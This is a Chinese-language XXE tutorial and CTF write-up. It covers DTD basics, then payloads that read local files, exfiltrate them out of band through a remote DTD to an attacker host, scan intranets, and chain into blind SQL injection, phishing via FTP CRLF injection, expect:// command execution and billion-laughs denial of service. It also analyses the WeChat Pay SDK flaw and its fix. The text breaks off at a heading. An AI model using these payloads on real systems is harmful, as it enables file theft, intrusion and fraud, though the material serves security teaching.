一篇文章帶你深入理解漏洞之 XXE 漏洞
介紹 XXE 之前,我先來說一下普通的 XML 注入,這個的利用面比較狹窄,如果有的話應該也是邏輯漏洞
如圖所示:
既然能插入 XML 程式碼,那我們肯定不能善罷甘休,我們需要更多,於是出現了 XXE
XXE(XML External Entity Injection) 全稱為 XML 外部實體注入,從名字就能看出來,這是一個注入漏洞,注入的是什麼?XML外部實體。(看到這裡肯定有人要說:你這不是在廢話),固然,其實我這裡廢話只是想強調我們的利用點是 外部實體 ,也是提醒讀者將注意力集中於外部實體中,而不要被 XML 中其他的一些名字相似的東西擾亂了思維( 盯好外部實體就行了 ),如果能注入 外部實體並且成功解析的話,這就會大大拓寬我們 XML 注入的攻擊面(這可能就是為什麼單獨說 而沒有說 XML 注入的原因吧,或許普通的 XML 注入真的太雞肋了,現實中幾乎用不到)
二、簡單介紹一下背景知識:
XML是一種非常流行的標記語言,在1990年代後期首次標準化,並被無數的軟體專案所採用。它用於配置檔案,文件格式(如OOXML,ODF,PDF,RSS,…),影象格式(SVG,EXIF標題)和網路協議(WebDAV,CalDAV,XMLRPC,SOAP,XMPP,SAML, XACML,…),他應用的如此的普遍以至於他出現的任何問題都會帶來災難性的結果。
在解析外部實體的過程中,XML解析器可以根據URL中指定的方案(協議)來查詢各種網路協議和服務(DNS,FTP,HTTP,SMB等)。 外部實體對於在文件中建立動態引用非常有用,這樣對引用資源所做的任何更改都會在文件中自動更新。 但是,在處理外部實體時,可以針對應用程式啟動許多攻擊。 這些攻擊包括洩露本地系統檔案,這些檔案可能包含密碼和私人使用者資料等敏感資料,或利用各種方案的網路訪問功能來操縱內部應用程式。 通過將這些攻擊與其他實現缺陷相結合,這些攻擊的範圍可以擴充套件到客戶端記憶體損壞,任意程式碼執行,甚至服務中斷,具體取決於這些攻擊的上下文。
三、基礎知識
XML 文件有自己的一個格式規範,這個格式規範是由一個叫做 DTD(document type definition) 的東西控制的,他就是長得下面這個樣子
示例程式碼:
<?xml version="1.0"?>//這一行是 XML 文件定義 <!DOCTYPE message [ <!ELEMENT message (receiver ,sender ,header ,msg)> <!ELEMENT receiver (#PCDATA)> <!ELEMENT sender (#PCDATA)> <!ELEMENT header (#PCDATA)> <!ELEMENT msg (#PCDATA)>
上面這個 DTD 就定義了 XML 的根元素是 message,然後跟元素下面有一些子元素,那麼 XML 到時候必須像下面這麼寫
示例程式碼:
<message> <receiver>Myself</receiver> <sender>Someone</sender> <header>TheReminder</header> <msg>This is an amazing book</msg> </message>
其實除了在 DTD 中定義元素(其實就是對應 XML 中的標籤)以外,我們還能在 DTD 中定義實體(對應XML 標籤中的內容),畢竟 ML 中除了能標籤以外,還需要有些內容是固定的
示例程式碼:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe "test" >]>
這裡 定義元素為 ANY 說明接受任何元素,但是定義了一個 xml 的實體(這是我們在這篇文章中第一次看到實體的真面目,實體其實可以看成一個變數,到時候我們可以在 XML 中通過 & 符號進行引用),那麼 XML 就可以寫成這樣
示例程式碼:
<creds> <user>&xxe;</user> <pass>mypass</pass> </creds>
我們使用 &xxe 對 上面定義的 xxe 實體進行了引用,到時候輸出的時候 &xxe 就會被 “test” 替換。
重點來了:
重點一:
實體分為兩種,內部實體和 外部實體 ,上面我們舉的例子就是內部實體,但是實體實際上可以從外部的 dtd 檔案中引用,我們看下面的程式碼:
示例程式碼:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]> <creds> <user>&xxe;</user> <pass>mypass</pass> </creds>
這樣對引用資源所做的任何更改都會在文件中自動更新,非常方便( 方便永遠是安全的敵人 )
當然,還有一種引用方式是使用 引用 公用 DTD 的方法,語法如下:
<!DOCTYPE 根元素名稱 PUBLIC “DTD標識名” “公用DTD的URI”>
這個在我們的攻擊中也可以起到和 SYSTEM 一樣的作用
重點二:
我們上面已經將實體分成了兩個派別(內部實體和外部外部),但是實際上從另一個角度看,實體也可以分成兩個派別(通用實體和引數實體),別暈。。
1.通用實體
用 &實體名; 引用的實體,他在DTD 中定義,在 XML 文件中引用
示例程式碼:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> <updateProfile> <firstname>Joe</firstname> <lastname>&file;</lastname> ... </updateProfile>
2.引數實體:
(1)使用 % 實體名
( 這裡面空格不能少 ) 在 DTD 中定義,並且 只能在 DTD 中使用 %實體名;
引用
(2)只有在 DTD 檔案中,引數實體的宣告才能引用其他實體
(3)和通用實體一樣,引數實體也可以外部引用
示例程式碼:
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> %an-element; %remote-dtd;
拋轉:
引數實體在我們 Blind XXE 中起到了至關重要的作用
四、我們能做什麼
上一節瘋狂暗示了 外部實體 ,那他究竟能幹什麼?
實際上,當你看到下面這段程式碼的時候,有一點安全意識的小夥伴應該隱隱約約能覺察出什麼
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]> <creds> <user>&xxe;</user> <pass>mypass</pass> </creds>
既然能讀 dtd 那我們是不是能將路徑換一換,換成敏感檔案的路徑,然後把敏感檔案讀出來?
實驗一:有回顯讀本地敏感檔案(Normal XXE)
這個實驗的攻擊場景模擬的是在服務能接收並解析 XML 格式的輸入並且有回顯的時候,我們就能輸入我們自定義的 XML 程式碼,通過引用外部實體的方法,引用伺服器上面的檔案
本地伺服器上放上解析 XML 的 php 程式碼:
示例程式碼:
xml.php
<?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); echo $creds; ?>
payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> <creds>&goodies;</creds>
結果如下圖:
但是因為這個檔案沒有什麼特殊符號,於是我們讀取的時候可以說是相當的順利, 那麼我麼要是換成下面這個檔案呢?
如圖所示:
我們試一下:
結果如下圖:
可以看到,不但沒有讀到我們想要的檔案,而且還給我們報了一堆錯,怎麼辦?這個時候就要祭出我們的另一個神器了——CDATA ,簡單的介紹如下(引用自我的一片介紹 XML 的部落格):
有些內容可能 不想讓解析引擎解析 執行,而是當做原始的內容處理,用於把整段資料解析為純字元資料而不是標記的情況包含大量的 <> & 或者
“ 字元,CDATA節中的所有字元都會被當做元素字元資料的常量部分,而不是 xml標記
<![CDATA[ XXXXXXXXXXXXXXXXX ]]>
可以輸入任意字元除了 ]]> 不能巢狀
用處是萬一某個標籤內容包含特殊字元或者不確定字元,我們可以用 CDATA包起來
那我們把我們的讀出來的資料放在 CDATA 中輸出就能進行繞過,但是怎麼做到,我們來簡答的分析一下:
首先,找到問題出現的地方,問題出現在
... <!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> <creds>&goodies;</creds>
引用並不接受可能會引起 xml 格式混亂的字元(在XML中,有時實體內包含了些字元,如&,<,>,”,’等。這些均需要對其進行轉義,否則會對XML直譯器生成錯誤),我們想在引用的兩邊加上 “<![CDATA[“和 “]]>”,但是好像沒有任何語法告訴我們字串能拼接的,於是我想到了能不能使用多個實體連續引用的方法
結果如下圖:
注意,這裡面的三個實體都是字串形式,連在一起居然報錯了,這說明我們不能在 xml 中進行拼接,而是需要在拼接以後再在 xml 中呼叫,那麼要想在 DTD
中拼接,我們知道我們只有一種選擇,就是使用 引數實體
payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [ <!ENTITY % start "<![CDATA["> <!ENTITY % goodies SYSTEM "file:///d:/test.txt"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> %dtd; ]> <roottag>&all;</roottag>
evil.dtd
<?xml version="1.0" encoding="UTF-8"?> <!ENTITY all "%start;%goodies;%end;">
結果如下圖:
感興趣的童鞋可以分析一下整個呼叫過程,因為我在下面的例子中有分析一個類似的例子,於是出於篇幅考慮我這裡就不分析了。
新的問題出現
但是,你想想也知道,本身人家伺服器上的 XML 就不是輸出用的,一般都是用於配置或者在某些極端情況下利用其他漏洞能恰好例項化解析 XML 的類,因此我們想要現實中利用這個漏洞就必須找到一個不依靠其回顯的方法——外帶
新的解決方法
想要外帶就必須能發起請求,那麼什麼地方能發起請求呢? 很明顯就是我們的外部實體定義的時候,其實光發起請求還不行,我們還得能把我們的資料傳出去,而我們的資料本身也是一個對外的請求,也就是說,我們需要在請求中引用另一次請求的結果,分析下來只有我們的引數實體能做到了(並且根據規範,我們必須在一個 DTD 檔案中才能完成“請求中引用另一次請求的結果”的要求)
實驗二:無回顯讀取本地敏感檔案(Blind OOB XXE)
xml.php
<?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); ?>
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt"> <!ENTITY % int "<!ENTITYsend SYSTEM 'http://ip:9999?p=%file;'>">
payload:
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/test.dtd"> %remote;%int;%send; ]>
結果如下:
我們清楚第看到伺服器端接收到了我們用 base64 編碼後的敏感檔案資訊(編碼也是為了不破壞原本的XML語法),不編碼會報錯。
整個呼叫過程:
我們從 payload 中能看到 連續呼叫了三個引數實體 %remote;%int;%send;,這就是我們的利用順序,%remote 先呼叫,呼叫後請求遠端伺服器上的 test.dtd ,有點類似於將 test.dtd 包含進來,然後 %int 呼叫 test.dtd 中的 %file, %file 就會去獲取伺服器上面的敏感檔案,然後將 %file 的結果填入到 %send 以後(因為實體的值中不能有 %, 所以將其轉成html實體編碼 %
),我們再呼叫 %send; 把我們的讀取到的資料傳送到我們的遠端 vps 上,這樣就實現了外帶資料的效果,完美的解決了 XXE 無回顯的問題。
新的思考:
我們剛剛都只是做了一件事,那就是通過 file 協議讀取本地檔案,或者是通過 http 協議發出請求,熟悉 SSRF 的童鞋應該很快反應過來,這其實非常類似於 SSRF ,因為他們都能從伺服器向另一臺伺服器發起請求,那麼我們如果將遠端伺服器的地址換成某個內網的地址,(比如 192.168.0.10:8080)是不是也能實現 SSRF 同樣的效果呢?沒錯,XXE 其實也是一種 SSRF 的攻擊手法,因為 SSRF 其實只是一種攻擊模式,利用這種攻擊模式我們能使用很多的協議以及漏洞進行攻擊。
新的利用:
所以要想更進一步的利用我們不能將眼光侷限於 file 協議,我們必須清楚地知道在何種平臺,我們能用何種協議
如圖所示:
PHP在安裝擴充套件以後還能支援的協議:
如圖所示:
注意:
1.其中從2012年9月開始,Oracle JDK版本中刪除了對gopher方案的支援,後來又支援的版本是 Oracle JDK 1.7
update 7 和 Oracle JDK 1.6 update 35
2.libxml 是 PHP 的 xml 支援
實驗三:HTTP 內網主機探測
我們以存在 XXE 漏洞的伺服器為我們探測內網的支點。要進行內網探測我們還需要做一些準備工作,我們需要先利用 file 協議讀取我們作為支點伺服器的網路配置檔案,看一下有沒有內網,以及網段大概是什麼樣子(我以linux 為例),我們可以嘗試讀取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 檔案以後我們就有了大致的探測方向了
下面是一個探測指令碼的例項:
import requests import base64 #Origtional XML that the server accepts #<xml> #<stuff>user</stuff> #</xml> def build_xml(string): xml = """<?xml version="1.0" encoding="ISO-8859-1"?>""" xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >""" xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>""" xml = xml + "\r\n" + """<xml>""" xml = xml + "\r\n" + """<stuff>&xxe;</stuff>""" xml = xml + "\r\n" + """</xml>""" send_xml(xml) def send_xml(xml): headers = {'Content-Type': 'application/xml'} x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value print coded_string #print base64.b64decode(coded_string) for i in range(1, 255): try: i = str(i) ip = '10.0.0.' + i string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/' print string build_xml(string) except: continue
返回結果:
實驗四:HTTP 內網主機埠掃描
找到了內網的一臺主機,想要知道攻擊點在哪,我們還需要進行埠掃描,埠掃描的指令碼主機探測幾乎沒有什麼變化,只要把ip 地址固定,然後迴圈遍歷埠就行了,當然一般我們埠是通過響應的時間的長短判斷該該埠是否開放的,讀者可以自行修改一下,當然除了這種方法,我們還能結合 burpsuite 進行埠探測
比如我們傳入:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [ <!ELEMENT data (#PCDATA)> ]> <data>4</data>
返回結果:
javax.xml.bind.UnmarshalException - with linked exception: [Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException Exception Description: An error occurred unmarshalling the document Internal Exception: ████████████████████████: Connection refused
這樣就完成了一次埠探測。如果想更多,我們可以將請求的埠作為 引數 然後利用 bp 的 intruder 來幫我們探測
如下圖所示:
至此,我們已經有能力對整個網段進行了一個全面的探測,並能得到內網伺服器的一些資訊了,如果內網的伺服器有漏洞,並且恰好利用方式在伺服器支援的協議的範圍內的話,我們就能直接利用 XXE 打擊內網伺服器甚至能直接 getshell(比如有些 內網的未授權 redis 或者有些通過 http get 請求就能直接getshell 的 比如 strus2)
實驗五:內網盲注(CTF)
2018 強網杯 有一道題就是利用 XXE 漏洞進行內網的 SQL 盲注的,大致的思路如下:
首先在外網的一臺ip地址為 39.107.33.75:33899 的評論框處測試發現 XXE 漏洞,我們輸入 xml 以及 dtd 會出現報錯
如圖所示:
既然如此,那麼我們是不是能讀取該伺服器上面的檔案,我們先讀配置檔案(這個點是 Blind XXE ,必須使用引數實體,外部引用 DTD )
/var/www/52dandan.cc/public_html/config.php
拿到第一部分 flag
<?php define(BASEDIR, "/var/www/52dandan.club/"); define(FLAG_SIG, 1); define(SECRETFILE,'/var/www/52dandan.com/public_html/youwillneverknowthisfile_e2cd3614b63ccdcbfe7c8f07376fe431'); .... ?>
注意:
這裡有一個小技巧,當我們使用 libxml 讀取檔案內容的時候,檔案不能過大,如果太大就會報錯,於是我們就需要使用 php
過濾器的一個壓縮的方法
壓縮:echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd"); 解壓:echo file_get_contents("php://filter/read=convert.base64-decode/zlib.inflate/resource=/tmp/1");
然後我們考慮內網有沒有東西,我們讀取
/proc/net/arp /etc/host
找到內網的另一臺伺服器的 ip 地址 192.168.223.18
拿到這個 ip 我們考慮就要使用 XXE 進行埠掃描了,然後我們發現開放了 80 埠,然後我們再進行目錄掃描,找到一個 test.php ,根據提示,這個頁面的 shop 引數存在一個注入,但是因為本身這個就是一個 Blind XXE ,我們的對伺服器的請求都是在我們的遠端 DTD 中包含的,現在我們需要改變我們的請求,那我們就要在每一次修改請求的時候修改我們遠端伺服器的 DTD 檔案,於是我們的指令碼就要掛在我們的 VPS 上,一q般邊修改 DTD 一邊向 存在 XXE 漏洞的主機發送請求,指令碼就像下面這個樣子
示例程式碼:
import requests url = 'http://39.107.33.75:33899/common.php' s = requests.Session() result = '' data = { "name":"evil_man", "email":"[email protected]", "comment":"""<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % dtd SYSTEM "http://evil_host/evil.dtd"> %dtd;]> """ } for i in range(0,28): for j in range(48,123): f = open('./evil.dtd','w') payload2 = """<!ENTITY % file SYSTEM "php://filter/read=zlib.deflate/convert.base64-encode/resource=http://192.168.223.18/test.php?shop=3'-(case%a0when((select%a0group_concat(total)%a0from%a0albert_shop)like%a0binary('{}'))then(0)else(1)end)-'1"> <!ENTITY % all "<!ENTITYsend SYSTEM 'http://evil_host/?result=%file;'>"> %all; %send;""".format('_'*i+chr(j)+'_'*(27-i)) f.write(payload2) f.close() print 'test {}'.format(chr(j)) r = s.post(url,data=data) if "Oti3a3LeLPdkPkqKF84xs=" in r.content and chr(j)!='_': result += chr(j) print chr(j) break print result
這道題難度比加大,做起來也非常的耗時,所有的東西都要靠指令碼去猜,因此當時是0解
實驗六:檔案上傳
我們之前說的好像都是 php 相關,但是實際上現實中很多都是 java 的框架出現的 XXE 漏洞,通過閱讀文件,我發現 Java 中有一個比較神奇的協議 jar:// , php 中的 phar:// 似乎就是為了實現 jar:// 的類似的功能設計出來的。
jar:// 協議的格式:
jar:{url}!{path}
例項:
jar:http://host/application.jar!/file/within/the/zip 這個 ! 後面就是其需要從中解壓出的檔案
jar 能從遠端獲取 jar 檔案,然後將其中的內容進行解壓,等等,這個功能似乎比 phar 強大啊,phar:// 是沒法遠端載入檔案的(因此 phar:// 一般用於繞過檔案上傳,在一些2016年的HCTF中考察過這個知識點,我也曾在校賽中出過類似的題目,奧,2018年的 blackhat 講述的 phar:// 的反序列化很有趣,Orange 曾在2017年的 hitcon 中出過這道題)
jar 協議處理檔案的過程:
(1) 下載 jar/zip 檔案到臨時檔案中
(2) 提取出我們指定的檔案
(3) 刪除臨時檔案
那麼我們怎麼找到我們下載的臨時檔案呢?
因為在 java 中 file:/// 協議可以起到列目錄的作用,所以我們能用 file:/// 協議配合 jar:// 協議使用
下面是我的一些測試過程:
我首先在本地模擬一個存在 XXE 的程式,網上找的能直接解析 XML 檔案的 java 原始碼
示例程式碼:
xml_test.java
package xml_test; import java.io.File; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import org.w3c.dom.Attr; import org.w3c.dom.Comment; import org.w3c.dom.Document; import org.w3c.dom.Element; import org.w3c.dom.NamedNodeMap; import org.w3c.dom.Node; import org.w3c.dom.NodeList; /** * 使用遞迴解析給定的任意一個xml文件並且將其內容輸出到命令列上 * @author zhanglong * */ public class xml_test { public static void main(String[] args) throws Exception { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); Document doc = db.parse(new File("student.xml")); //獲得根元素結點 Element root = doc.getDocumentElement(); parseElement(root); } private static void parseElement(Element element) { String tagName = element.getNodeName(); NodeList children = element.getChildNodes(); System.out.print("<" + tagName); //element元素的所有屬性所構成的NamedNodeMap物件,需要對其進行判斷 NamedNodeMap map = element.getAttributes(); //如果該元素存在屬性 if(null != map) { for(int i = 0; i < map.getLength(); i++) { //獲得該元素的每一個屬性 Attr attr = (Attr)map.item(i); String attrName = attr.getName(); String attrValue = attr.getValue(); System.out.print(" " + attrName + "=\"" + attrValue + "\""); } } System.out.print(">"); for(int i = 0; i < children.getLength(); i++) { Node node = children.item(i); //獲得結點的型別 short nodeType = node.getNodeType(); if(nodeType == Node.ELEMENT_NODE) { //是元素,繼續遞迴 parseElement((Element)node); } else if(nodeType == Node.TEXT_NODE) { //遞迴出口 System.out.print(node.getNodeValue()); } else if(nodeType == Node.COMMENT_NODE) { System.out.print("<!--"); Comment comment = (Comment)node; //註釋內容 String data = comment.getData(); System.out.print(data); System.out.print("-->"); } } System.out.print("</" + tagName + ">"); } }
有了這個原始碼以後,我們需要在本地建立一個 xml 檔案 ,我取名為 student.xml
student.xml
<!DOCTYPE convert [ <!ENTITYremote SYSTEM "jar:http://localhost:9999/jar.zip!/wm.php"> ]> <convert>&remote;</convert>
目錄結構如下圖:
可以清楚地看到我的請求是向自己本地的 9999 埠發出的,那麼9999 埠上有什麼服務呢?實際上是我自己用 python 寫的一個 TCP 伺服器
示例程式碼:
sever.py
import sys import time import threading import socketserver from urllib.parse import quote import http.client as httpc listen_host = 'localhost' listen_port = 9999 jar_file = sys.argv[1] class JarRequestHandler(socketserver.BaseRequestHandler): def handle(self): http_req = b'' print('New connection:',self.client_address) while b'\r\n\r\n' not in http_req: try: http_req += self.request.recv(4096) print('Client req:\r\n',http_req.decode()) jf = open(jar_file, 'rb') contents = jf.read() headers = ('''HTTP/1.0 200 OK\r\n''' '''Content-Type: application/java-archive\r\n\r\n''') self.request.sendall(headers.encode('ascii')) self.request.sendall(contents[:-1]) time.sleep(30) print(30) self.request.sendall(contents[-1:]) except Exception as e: print ("get error at:"+str(e)) if __name__ == '__main__': jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler) print ('waiting for connection...') server_thread = threading.Thread(target=jarserver.serve_forever) server_thread.daemon = True server_thread.start() server_thread.join()
這個伺服器的目的就是接受客戶端的請求,然後向客戶端傳送一個我們執行時就傳入的引數指定的檔案,但是還沒完,實際上我在這裡加了一個 sleep(30),這個的目的我後面再說
既然是檔案上傳,那我們又要回到 jar 協議解析檔案的過程中了
jar 協議處理檔案的過程:
(1) 下載 jar/zip 檔案到臨時檔案中
(2) 提取出我們指定的檔案
(3) 刪除臨時檔案
那我們怎麼找到這個臨時的資料夾呢?不用想,肯定是通過報錯的形式展現,如果我們請求的
jar:http://localhost:9999/jar.zip!/1.php
1.php 在這個 jar.zip 中沒有的話,java 解析器就會報錯,說在這個臨時檔案中找不到這個檔案
如下圖:
既然找到了臨時檔案的路徑,我們就要考慮怎麼使用這個檔案了(或者說怎麼讓這個檔案能更長時間的停留在我們的系統之中,我想到的方式就是sleep())但是還有一個問題,因為我們要利用的時候肯定是在檔案沒有完全傳輸成果的時候,因此為了檔案的完整性,我考慮在傳輸前就使用 hex 編輯器在檔案末尾新增垃圾字元,這樣就能完美的解決這個問題
下面是我的實驗錄屏:
實驗就到這一步了,怎麼利用就看各位大佬的了(壞笑)
實驗七:釣魚:
如果內網有一臺易受攻擊的 SMTP 伺服器,我們就能利用 ftp:// 協議結合 CRLF 注入向其傳送任意命令,也就是可以指定其傳送任意郵件給任意人,這樣就偽造了資訊源,造成釣魚(一下例項來自fb 的一篇文章 )
Java支援在sun.net.ftp.impl.FtpClient中的ftp URI。因此,我們可以指定使用者名稱和密碼,例如ftp://user:password@host:port/test.txt,FTP客戶端將在連線中傳送相應的USER命令。
但是如果我們將%0D%0A (CRLF)新增到URL的user部分的任意位置,我們就可以終止USER命令並向FTP會話中注入一個新的命令,即允許我們向25埠傳送任意的SMTP命令:
示例程式碼:
ftp://a%0D%0A EHLO%20a%0D%0A MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A DATA%0D%0A From%3A%20support%40VULNERABLESYSTEM.com%0A To%3A%20victim%40gmail.com%0A Subject%3A%20test%0A %0A test!%0A %0D%0A .%0D%0A QUIT%0D%0A :[email protected]:25
當FTP客戶端使用此URL連線時,以下命令將會被髮送給VULNERABLESYSTEM.com上的郵件伺服器:
示例程式碼:
ftp://a EHLO a MAIL FROM: <[email protected]> RCPT TO: <[email protected]> DATA From: [email protected] To: [email protected] Subject: Reset your password We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com . QUIT :[email protected]:25
這意味著攻擊者可以從從受信任的來源傳送釣魚郵件(例如:帳戶重置連結)並繞過垃圾郵件過濾器的檢測。除了連結之外,甚至我們也可以傳送附件。
實驗八:其他:
除了上面實驗中的一些常見利用以外還有一些不是很常用或者比較雞肋的利用方式,為了完整性我在這一節簡單的說一下:
1.PHP expect RCE
由於 PHP 的 expect 並不是預設安裝擴充套件,如果安裝了這個expect 擴充套件我們就能直接利用 XXE 進行 RCE
示例程式碼:
<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]> <dir> <file>&cmd;</file> </dir>
2. 利用 XXE 進行 DOS 攻擊
示例程式碼:
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
五、真實的 XXE 出現在哪
我們剛剛說了那麼多,都是隻是我們對這個漏洞的理解,但是好像還沒說這種漏洞出現在什麼地方
如今的 web 時代,是一個前後端分離的時代,有人說 MVC 就是前後端分離,但我覺得這種分離的並不徹底,後端還是要嘗試去呼叫渲染類去控制前端的渲染,我所說的前後端分離是,後端 api 只負責接受約定好要傳入的資料,然後經過一系列的黑盒運算,將得到結果以 json 格式返回給前端,前端只負責坐享其成,拿到資料json.decode 就行了(這裡的後端可以是後臺程式碼,也可以是外部的api 介面,這裡的前端可以是傳統意義的前端,也可以是後臺程式碼)
那麼問題經常就出現在 api 介面能解析客戶端傳過來的 xml 程式碼,並且直接外部實體的引用,比如下面這個
例項一:模擬情況
示例程式碼:
POST /vulnerable HTTP/1.1 Host: www.test.com User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://test.com/test.html Content-Type: application/xml Content-Length: 294 Cookie: mycookie=cookies; Connection: close Upgrade-Insecure-Requests: 1 <?xml version="1.0"?> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>XML is the best!</description> </core> </catalog>
我們發出 帶有 xml 的 POST 請求以後,述程式碼將交由伺服器的XML處理器解析。程式碼被解釋並返回:{“Request Successful”: “Added!”}
但是如果我們傳入一個惡意的程式碼
<?xml version="1.0"?> <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>&xxe;</description> </core> </catalog>
如果沒有做好“安全措施” 就會出現解析惡意程式碼的情況,就會有下面的返回
{"error": "no results for description root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync...
例項二:微信支付的 XXE
前一陣子非常火的微信支付的 XXE 漏洞當然不得不提,
漏洞描述:
微信支付提供了一個 api 介面,供商家接收非同步支付結果,微信支付所用的java sdk在處理結果時可能觸發一個XXE漏洞,攻擊者可以向這個介面傳送構造惡意payloads,獲取商家伺服器上的任何資訊,一旦攻擊者獲得了敏感的資料 (md5-key and merchant-Id etc.),他可能通過傳送偽造的資訊不用花錢就購買商家任意物品
我下載了 java 版本的 sdk 進行分析,這個 sdk 提供了一個 WXPayUtil 工具類,該類中實現了xmltoMap和maptoXml這兩個方法,而這次的微信支付的xxe漏洞爆發點就在xmltoMap方法中
如圖所示:
問題就出現在我橫線劃出來的那部分,也就是簡化為下面的程式碼:
public static Map<String, String> xmlToMap(String strXML) throws Exception { try { Map<String, String> data = new HashMap<String, String>(); DocumentBuilder documentBuilder = WXPayXmlUtil.newDocumentBuilder(); InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8")); org.w3c.dom.Document doc = documentBuilder.parse(stream); ...
我們可以看到 當構建了 documentBuilder 以後就直接對傳進來的 strXML 解析了,而不巧的是 strXML 是一處攻擊者可控的引數,於是就出現了 XXE 漏洞,下面是我實驗的步驟
首先我在 com 包下又新建了一個包,來寫我們的測試程式碼,測試程式碼我命名為 test001.java
如圖所示:
test001.java
package com.test.test001; import java.util.Map; import static com.github.wxpay.sdk.WXPayUtil.xmlToMap; public class test001 { public static void main(String args[]) throws Exception { String xmlStr ="<?xml version='1.0' encoding='utf-8'?>\r\n" + "<!DOCTYPE XDSEC [\r\n" + "<!ENTITY xxe SYSTEM 'file:///d:/1.txt'>]>\r\n" + "<XDSEC>\r\n"+ "<XXE>&xxe;</XXE>\r\n" + "</XDSEC>"; try{ Map<String,String> test = xmlToMap(xmlStr); System.out.println(test); }catch (Exception e){ e.printStackTrace(); } } }
我希望它能讀取我 D 盤下面的 1.txt 檔案
執行後成功讀取
如圖所示:
當然,WXPayXmlUtil.java 中有這個 sdk 的配置項,能直接決定實驗的效果,當然後期的修復也是針對這裡面進行修復的
http://apache.org/xml/features/disallow-doctype-decl true http://apache.org/xml/features/nonvalidating/load-external-dtd false http://xml.org/sax/features/external-general-entities false http://xml.org/sax/features/external-parameter-entities false
整個原始碼我打包好了已經上傳到我的百度雲,有興趣的童鞋可以執行一下感受:
連結: ofollow,noindex">https://pan.baidu.com/s/1YbCO2cZpzZS1mWd7Mes4Qw 提取碼:xq1b
上面說過 java 中有一個 netdoc:/ 協議能代替 file:/// ,我現在來演示一下:
如圖所示:
例項三:JSON content-type XXE
